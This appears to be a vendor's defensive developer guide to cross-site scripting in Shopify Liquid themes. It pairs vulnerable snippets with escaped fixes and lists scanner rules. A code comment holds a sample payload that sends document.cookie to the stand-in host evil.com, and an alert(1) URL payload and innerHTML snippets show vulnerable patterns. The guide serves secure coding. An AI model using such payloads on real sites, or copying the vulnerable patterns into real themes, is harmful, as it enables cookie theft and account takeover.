// SECURITY / XSS_PREVENTION
XSS Prevention in Shopify Themes — Complete Developer Guide
Cross-Site Scripting (XSS) is the #1 vulnerability found in Shopify themes. This guide shows every attack pattern and its exact fix.
[ 01 ] WHAT IS XSS IN SHOPIFY
Cross-Site Scripting in Shopify themes occurs when attacker-controlled data (product titles, metafields, URL parameters, customer names) is inserted into the HTML or JavaScript output without proper encoding.
Unlike backend XSS, Liquid template injection is particularly dangerous because the attack surface is large — every product, collection, blog post, and customer field is a potential injection point.
Reflected XSS
HIGHURL parameters injected directly into page output. Immediate execution.
Stored XSS
CRITICALMalicious data stored in metafields or product descriptions. Persists across requests.
DOM-based XSS
HIGHJavaScript reads from location.hash or URL params and writes to DOM.
[ 02 ] COMMON XSS PATTERNS IN LIQUID
Pattern A — innerHTML with user data
// Attacker sets product.title to: <script>fetch('https://evil.com?c='+document.cookie)</script>
document.querySelector('.product-name').innerHTML = "{{ product.title }}";
// Result: script executes, cookies stolen// Option 1: Use textContent
document.querySelector('.product-name').textContent = {{ product.title | json }};
// Option 2: Create text node
const node = document.createTextNode({{ product.title | json }});
document.querySelector('.product-name').appendChild(node);Pattern B — Unescaped Liquid in JS strings
<script>
const settings = {
title: "{{ product.title }}",
vendor: "{{ product.vendor }}"
};
</script><script>
const settings = {
title: {{ product.title | json }},
vendor: {{ product.vendor | json }}
};
// | json properly encodes quotes, slashes, and newlines
</script>Pattern C — document.write()
// NEVER use document.write() — it rewrites the entire document
// and bypasses any security measures
document.write('<div>' + request.param + '</div>');Pattern D — URL parameter reflection
// Attacker URL: /search?q=<script>alert(1)</script>
const query = new URLSearchParams(location.search).get('q');
document.getElementById('search-query').innerHTML = 'Results for: ' + query;const query = new URLSearchParams(location.search).get('q') || '';
document.getElementById('search-query').textContent = 'Results for: ' + query;[ 03 ] PREVENTION TECHNIQUES
Output Encoding
{{ value | escape }} or {{ value | json }}Always — in HTML context use escape, in JS context use json
Content Security Policy
X-Content-Type-Options, Content-Security-Policy headersAdd via Shopify theme response headers or CDN
DOM Sanitization
DOMPurify.sanitize(html) before innerHTMLWhen HTML rendering is required (e.g., metafield rich text)
Avoid dangerous APIs
No innerHTML, no eval(), no document.write()Enforce in code review + Syphio automated scanning
[ 04 ] AUTOMATED DETECTION WITH SYPHIO
Syphio's XSS detection rules cover all of the patterns above — plus 80+ additional edge cases specific to Shopify's Liquid templating system.
// XSS RULES IN SYPHIO (SUBSET)
- →XSS-001: innerHTML with unescaped Liquid variable
- →XSS-002: document.write() usage detected
- →XSS-003: eval() with dynamic string argument
- →XSS-004: Liquid variable in script tag without | json
- →XSS-005: URL parameter reflected into DOM
- →XSS-006: outerHTML assignment with external data
- →XSS-007: setTimeout/setInterval with string argument
// SEE ALSO
// DETECT XSS IN YOUR CODE